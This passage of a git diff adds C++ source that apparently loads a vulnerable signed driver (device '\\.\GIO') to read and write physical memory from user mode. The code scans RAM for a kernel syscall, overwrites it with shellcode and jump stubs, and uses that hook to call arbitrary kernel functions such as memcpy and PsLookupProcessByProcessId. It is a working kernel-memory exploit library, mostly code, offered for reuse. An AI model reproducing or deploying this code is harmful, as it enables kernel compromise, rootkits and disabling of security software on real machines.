0xF1, 0x2B, 0x53, 0xEF, 0x7A, 0xFE, 0x0D, 0xCC, 0xAE, 0x97, 0x7B, + 0x63, 0x44, 0x0F, 0x9C, 0x03, 0x0B, 0xC3, 0xC5, 0x26, 0x56, 0x3C, 0x15, + 0x26, 0x4F, 0x21, 0x5C, 0x57, 0x0F, 0xBB, 0x23, 0x06, 0x0E, 0x34, 0x14, + 0x1A, 0x2D, 0x06, 0xAA, 0xD2, 0xF2, 0xEC, 0x57, 0x61, 0x08, 0x74, 0xF4, + 0x36, 0x42, 0x06, 0x81, 0xD6, 0x79, 0x65, 0xB0, 0x6F, 0xF2, 0x4F, 0x6F, + 0x5A, 0xD0, 0xC3, 0x84, 0xC3, 0x66, 0x53, 0x92, 0xC0, 0x22, 0x23, 0xE1, + 0xD5, 0x1B, 0x02, 0x76, 0x8E, 0xEB, 0x5F, 0xC2, 0x44, 0x68, 0xF0, 0x36, + 0x2E, 0xFC, 0xE1, 0x13, 0xB8, 0x21, 0x44, 0xAD, 0x9F, 0x7A, 0xD2, 0x9F, + 0xA9, 0x5F, 0xB1, 0xCB, 0x4C, 0xD9, 0x08, 0x6E, 0x4B, 0x82, 0x1D, 0x6D, + 0x7C, 0xD2, 0x51, 0xD1, 0x74, 0x0B, 0x7A, 0xE5, 0x7A, 0x59, 0x93, 0xF9, + 0xCA, 0xB8, 0x85, 0xC4, 0x2C, 0x8A, 0x1D, 0x93, 0x48, 0x6C, 0xAE, 0x3E, + 0x01, 0x5B, 0x66, 0x7F, 0x67, 0xF8, 0x2F, 0x8A, 0xF2, 0x65, 0x2C, 0x88, + 0x3C, 0x7F, 0xAD, 0xB8, 0x8D, 0xBA, 0x88, 0x99, 0xFB, 0xE1, 0xDE, 0x48, + 0xA2, 0x66, 0x96, 0xF0, 0xA9, 0xF1, 0xF2, 0x12, 0x21, 0x16, 0xB6, 0xDA, + 0x8C, 0xD3, 0x5E, 0xD3, 0x5B, 0x00, 0x00, 0x00 + }; +} \ No newline at end of file diff --git a/kmem/vdm/vdm.hpp b/kmem/vdm/vdm.hpp new file mode 100644 index 0000000..c7fce30 --- /dev/null +++ b/kmem/vdm/vdm.hpp @@ -0,0 +1,142 @@ +#pragma once +#include +#include + +#include "../util/util.hpp" +#include "../util/loadup.hpp" +#include "raw_driver.hpp" + +#define MAP_PHYSICAL 0xC3502004 +#define UNMAP_PHYSICAL 0xC3502008 + +#pragma pack (push, 1) +typedef struct _gdrv_t +{ + unsigned long interface_type; + unsigned long bus; + std::uintptr_t phys_addr; + unsigned long io_space; + unsigned long size; +} gdrv_t, *pgdrv_t; +#pragma pack (pop) + +namespace vdm +{ + inline HANDLE drv_handle; + __forceinline auto load_drv() -> std::pair + { + const auto [result, key] = + driver::load( + vdm::raw_driver, + sizeof(vdm::raw_driver) + ); + + if (!result) + return { {}, {} }; + + vdm::drv_handle = CreateFileA( + "\\\\.\\GIO", + GENERIC_READ | GENERIC_WRITE, + NULL, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + + return { vdm::drv_handle, key }; + } + + __forceinline bool unload_drv(HANDLE drv_handle, std::string drv_key) + { + return CloseHandle(drv_handle) && driver::unload(drv_key); + } + + __forceinline bool read_phys(void* addr, void* buffer, std::size_t size) + { + if (!util::is_valid(reinterpret_cast(addr))) + return false; + + gdrv_t in_buffer; + in_buffer.bus = NULL; + in_buffer.interface_type = NULL; + in_buffer.phys_addr = reinterpret_cast(addr); + in_buffer.io_space = NULL; + in_buffer.size = size; + + void* out_buffer[2] = { 0 }; + unsigned long returned = 0; + + if (!DeviceIoControl( + drv_handle, + MAP_PHYSICAL, + reinterpret_cast(&in_buffer), + sizeof in_buffer, + out_buffer, + sizeof out_buffer, + &returned, NULL + )) + return false; + + __try + { + memcpy(buffer, out_buffer[0], size); + } + __except (EXCEPTION_EXECUTE_HANDLER) + {} + + return DeviceIoControl( + drv_handle, + UNMAP_PHYSICAL, + reinterpret_cast(&out_buffer[0]), + sizeof out_buffer[0], + out_buffer, + sizeof out_buffer, + &returned, NULL + ); + } + + __forceinline bool write_phys(void* addr, void* buffer, std::size_t size) + { + if (!util::is_valid(reinterpret_cast(addr))) + return false; + + gdrv_t in_buffer; + in_buffer.bus = NULL; + in_buffer.interface_type = NULL; + in_buffer.phys_addr = reinterpret_cast(addr); + in_buffer.io_space = NULL; + in_buffer.size = size; + + void* out_buffer[2] = { 0 }; + unsigned long returned = 0; + + if (!DeviceIoControl( + drv_handle, + MAP_PHYSICAL, + reinterpret_cast(&in_buffer), + sizeof in_buffer, + out_buffer, + sizeof out_buffer, + &returned, NULL + )) + return false; + + __try + { + memcpy(out_buffer[0], buffer, size); + } + __except (EXCEPTION_EXECUTE_HANDLER) + {} + + return DeviceIoControl( + drv_handle, + UNMAP_PHYSICAL, + reinterpret_cast(&out_buffer[0]), + sizeof out_buffer[0], + out_buffer, + sizeof out_buffer, + &returned, NULL + ); + } +} \ No newline at end of file diff --git a/kmem/vdm_ctx/vdm_ctx.cpp b/kmem/vdm_ctx/vdm_ctx.cpp new file mode 100644 index 0000000..6e35856 --- /dev/null +++ b/kmem/vdm_ctx/vdm_ctx.cpp @@ -0,0 +1,123 @@ +#include "vdm_ctx.hpp" + +namespace vdm +{ + vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func) + : + read_phys(read_func), + write_phys(write_func) + { + // already found the syscall's physical page... + if (vdm::syscall_address.load()) + return; + + vdm::ntoskrnl = reinterpret_cast( + LoadLibraryExA("ntoskrnl.exe", NULL, + DONT_RESOLVE_DLL_REFERENCES)); + + nt_rva = reinterpret_cast( + util::get_kmodule_export( + "ntoskrnl.exe", + syscall_hook.first, + true + )); + + vdm::nt_page_offset = nt_rva % PAGE_4KB; + // for each physical memory range, make a thread to search it + std::vector search_threads; + for (auto ranges : util::pmem_ranges) + search_threads.emplace_back(std::thread( + &vdm_ctx::locate_syscall, + this, + ranges.first, + ranges.second + )); + + for (std::thread& search_thread : search_threads) + search_thread.join(); + } + + void vdm_ctx::set_read(read_phys_t& read_func) + { + this->read_phys = read_func; + } + + void vdm_ctx::set_write(write_phys_t& write_func) + { + this->write_phys = write_func; + } + + void vdm_ctx::rkm(void* dst, void* src, std::size_t size) + { + static const auto ntoskrnl_memcpy = + util::get_kmodule_export("ntoskrnl.exe", "memcpy"); + + this->syscall( + ntoskrnl_memcpy, dst, src, size); + } + + void vdm_ctx::wkm(void* dst, void* src, std::size_t size) + { + static const auto ntoskrnl_memcpy = + util::get_kmodule_export("ntoskrnl.exe", "memcpy"); + + this->syscall( + ntoskrnl_memcpy, dst, src, size); + } + + void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const + { + const auto page_data = + reinterpret_cast( + VirtualAlloc( + nullptr, + PAGE_4KB, MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + )); + + for (auto page = 0u; page < length; page += PAGE_4KB) + { + if (vdm::syscall_address.load()) + break; + + if (!read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB)) + continue; + + // check the first 32 bytes of the syscall, if its the same, test that its the correct + // occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)... + if (!memcmp(page_data + nt_page_offset, ntoskrnl + nt_rva, 32)) + if (valid_syscall(reinterpret_cast(address + page + nt_page_offset))) + syscall_address.store( + reinterpret_cast( + address + page + nt_page_offset)); + } + + VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT); + } + + bool vdm_ctx::valid_syscall(void* syscall_addr) const + { + static std::mutex syscall_mutex; + syscall_mutex.lock(); + + static const auto proc = + GetProcAddress( + LoadLibraryA(syscall_hook.second), + syscall_hook.first + ); + + // 0: 48 31 c0 xor rax, rax + // 3 : c3 ret + std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 }; + std::uint8_t orig_bytes[sizeof shellcode]; + + // save original bytes and install shellcode... + read_phys(syscall_addr, orig_bytes, sizeof orig_bytes); + write_phys(syscall_addr, shellcode, sizeof shellcode); + + auto result = reinterpret_cast(proc)(); + write_phys(syscall_addr, orig_bytes, sizeof orig_bytes); + syscall_mutex.unlock(); + return result == STATUS_SUCCESS; + } +} \ No newline at end of file diff --git a/kmem/vdm_ctx/vdm_ctx.hpp b/kmem/vdm_ctx/vdm_ctx.hpp new file mode 100644 index 0000000..66d5ba2 --- /dev/null +++ b/kmem/vdm_ctx/vdm_ctx.hpp @@ -0,0 +1,116 @@ +#pragma once +#include +#include +#include +#include +#include +#include +#include +#include "../vdm/vdm.hpp" + +namespace vdm +{ + // change this to whatever you want :^) + constexpr std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; + + inline std::atomic is_page_found = false; + inline std::atomic syscall_address = nullptr; + + inline std::uint16_t nt_page_offset; + inline std::uint32_t nt_rva; + inline std::uint8_t* ntoskrnl; + + using read_phys_t = std::function; + using write_phys_t = std::function; + + class vdm_ctx + { + public: + explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func); + void set_read(read_phys_t& read_func); + void set_write(write_phys_t& write_func); + void rkm(void* dst, void* src, std::size_t size); + void wkm(void* dst, void* src, std::size_t size); + + template + __forceinline std::invoke_result_t syscall(void* addr, Ts ... args) const + { + static const auto proc = + GetProcAddress( + LoadLibraryA(syscall_hook.second), + syscall_hook.first + ); + + static std::mutex syscall_mutex; + syscall_mutex.lock(); + + // jmp [rip+0x0] + std::uint8_t jmp_code[] = + { + 0xff, 0x25, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00 + }; + + std::uint8_t orig_bytes[sizeof jmp_code]; + *reinterpret_cast(jmp_code + 6) = addr; + read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); + + // execute hook... + write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code); + auto result = reinterpret_cast(proc)(args ...); + write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); + + syscall_mutex.unlock(); + return result; + } + + template + __forceinline auto rkm(std::uintptr_t addr) -> T + { + T buffer; + rkm((void*)&buffer, (void*)addr, sizeof T); + return buffer; + } + + template + __forceinline void wkm(std::uintptr_t addr, const T& value) + { + wkm((void*)addr, (void*)&value, sizeof T); + } + + __forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t + { + static const auto ntoskrnl_get_virtual = + util::get_kmodule_export( + "ntoskrnl.exe", + "MmGetVirtualForPhysical"); + + return this->syscall( + ntoskrnl_get_virtual, addr); + } + + __forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS + { + static const auto ps_lookup_peproc = + util::get_kmodule_export( + "ntoskrnl.exe", + "PsLookupProcessByProcessId"); + + PEPROCESS peproc = nullptr; + this->syscall( + ps_lookup_peproc, + (HANDLE)pid, + &peproc + ); + return peproc; + } + private: + void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const; + bool valid_syscall(void* syscall_addr) const; + + std::function read_phys; + std::function write_phys; + }; +} \ No newline at end of file